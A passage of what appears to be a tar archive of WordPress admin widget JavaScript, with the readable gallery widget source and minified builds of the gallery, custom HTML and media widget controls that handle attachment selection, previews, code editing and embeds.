0000644 00000024162 15222552267 0012562 0 ustar 00 /** * @output wp-admin/js/widgets/media-gallery-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame; /** * Custom gallery details frame. * * @since 4.9.0 * @class wp.mediaWidgets~GalleryDetailsMediaFrame * @augments wp.media.view.MediaFrame.Post */ GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{ /** * Create the default states. * * @since 4.9.0 * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.Library({ id: 'gallery', title: wp.media.view.l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: true, library: wp.media.query( _.defaults({ type: 'image' }, this.options.library ) ) }), // Gallery states. new wp.media.controller.GalleryEdit({ library: this.options.selection, editing: this.options.editing, menu: 'gallery' }), new wp.media.controller.GalleryAdd() ]); } } ); /** * Gallery widget model. * * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports. * * @since 4.9.0 * * @class wp.mediaWidgets.modelConstructors.media_gallery * @augments wp.mediaWidgets.MediaWidgetModel */ GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} ); GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{ /** * View events. * * @since 4.9.0 * @type {object} */ events: _.extend( {}, component.MediaWidgetControl.prototype.events, { 'click .media-widget-gallery-preview': 'editMedia' } ), /** * Gallery widget control. * * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports. * * @constructs wp.mediaWidgets.controlConstructors.media_gallery * @augments wp.mediaWidgets.MediaWidgetControl * * @since 4.9.0 * @param {Object} options - Options. * @param {Backbone.Model} options.model - Model. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * @return {void} */ initialize: function initialize( options ) { var control = this; component.MediaWidgetControl.prototype.initialize.call( control, options ); _.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' ); control.selectedAttachments = new wp.media.model.Attachments(); control.model.on( 'change:ids', control.updateSelectedAttachments ); control.selectedAttachments.on( 'change', control.renderPreview ); control.selectedAttachments.on( 'reset', control.renderPreview ); control.updateSelectedAttachments(); /* * Refresh a Gallery widget partial when the user modifies one of the selected attachments. * This ensures that when an attachment's caption is updated in the media modal the Gallery * widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ if ( wp.customize && wp.customize.previewer ) { control.selectedAttachments.on( 'change', function() { wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) ); } ); } }, /** * Update the selected attachments if necessary. * * @since 4.9.0 * @return {void} */ updateSelectedAttachments: function updateSelectedAttachments() { var control = this, newIds, oldIds, removedIds, addedIds, addedQuery; newIds = control.model.get( 'ids' ); oldIds = _.pluck( control.selectedAttachments.models, 'id' ); removedIds = _.difference( oldIds, newIds ); _.each( removedIds, function( removedId ) { control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) ); }); addedIds = _.difference( newIds, oldIds ); if ( addedIds.length ) { addedQuery = wp.media.query({ order: 'ASC', orderby: 'post__in', perPage: -1, post__in: newIds, query: true, type: 'image' }); addedQuery.more().done( function() { control.selectedAttachments.reset( addedQuery.models ); }); } }, /** * Render preview. * * @since 4.9.0 * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, data; previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-gallery-preview' ); data = control.previewTemplateProps.toJSON(); data.attachments = {}; control.selectedAttachments.each( function( attachment ) { data.attachments[ attachment.id ] = attachment.toJSON(); } ); previewContainer.html( previewTemplate( data ) ); }, /** * Determine whether there are selected attachments. * * @since 4.9.0 * @return {boolean} Selected. */ isSelected: function isSelected() { var control = this; if ( control.model.get( 'error' ) ) { return false; } return control.model.get( 'ids' ).length > 0; }, /** * Open the media select frame to edit images. * * @since 4.9.0 * @return {void} */ editMedia: function editMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); selection.gallery = new Backbone.Model( mediaFrameProps ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'manage', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, editing: true, multiple: true, state: 'gallery-edit' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } // Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update models in the widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } }, /** * Open the media select frame to chose an item. * * @since 4.9.0 * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'select', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: 'gallery' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } // Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( ':focusable:first' ).focus(); }, /** * Clear the selected attachment when it is deleted in the media select frame. * * @since 4.9.0 * @param {wp.media.models.Attachment} attachment - Attachment. * @return {void} */ handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) { var control = this; control.model.set( { ids: _.difference( control.model.get( 'ids' ), [ attachment.id ] ) } ); } } ); // Exports. component.controlConstructors.media_gallery = GalleryWidgetControl; component.modelConstructors.media_gallery = GalleryWidgetModel; })( wp.mediaWidgets ); widgets/media-gallery-widget.min.js 0000644 00000007266 15222552267 0013352 0 ustar 00 /*! This file is auto-generated */ !function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0<this.model.get("ids").length},editMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());e.gallery=new Backbone.Model(t),t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"manage",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,editing:!0,multiple:!0,state:"gallery-edit"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy)},selectMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"select",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,state:"gallery"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy),i.$el.find(":focusable:first").focus()},handleAttachmentDestroy:function(e){this.model.set({ids:_.difference(this.model.get("ids"),[e.id])})}});i.controlConstructors.media_gallery=t,i.modelConstructors.media_gallery=e}(wp.mediaWidgets); widgets/custom-html-widgets.min.js 0000644 00000012716 15222552267 0013271 0 ustar 00 /*! This file is auto-generated */ wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1<e.length&&(n=s.l10n.errorNotice.plural.replace("%d",String(e.length))),i.fields.content[0].setCustomValidity&&i.fields.content[0].setCustomValidity(n),wp.customize&&wp.customize.has(i.customizeSettingId)?((t=wp.customize(i.customizeSettingId)).notifications.remove("htmlhint_error"),0!==e.length&&t.notifications.add("htmlhint_error",new wp.customize.Notification("htmlhint_error",{message:n,type:"error"}))):0!==e.length?((t=a('<div class="inline notice notice-error notice-alt" role="alert"></div>')).append(a("<p></p>",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0<e.length),t.updateErrorNotice(e)}}),t.editor=wp.codeEditor.initialize(t.fields.content,e),a(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":t.fields.content[0].id+"-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),a("#"+t.fields.content[0].id+"-label").on("click",function(){t.editor.codemirror.focus()}),t.fields.content.on("change",function(){this.value!==t.editor.codemirror.getValue()&&t.editor.codemirror.setValue(this.value)}),t.editor.codemirror.on("change",function(){var e=t.editor.codemirror.getValue();e!==t.fields.content.val()&&t.fields.content.val(e).trigger("change")}),t.editor.codemirror.on("blur",function(){t.contentUpdateBypassed&&t.syncContainer.find(".sync-input.content").trigger("change")}),wp.customize&&t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}))}}),s.widgetControls={},s.handleWidgetAdded=function(e,t){var i,n,o,d=t.find("> .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("<div></div>"),(o=t.find(".widget-content:first")).before(d),i=new s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("<div></div>"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery); widgets/media-widgets.min.js 0000644 00000033641 15222552267 0012074 0 ustar 00 /*! This file is auto-generated */ wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var 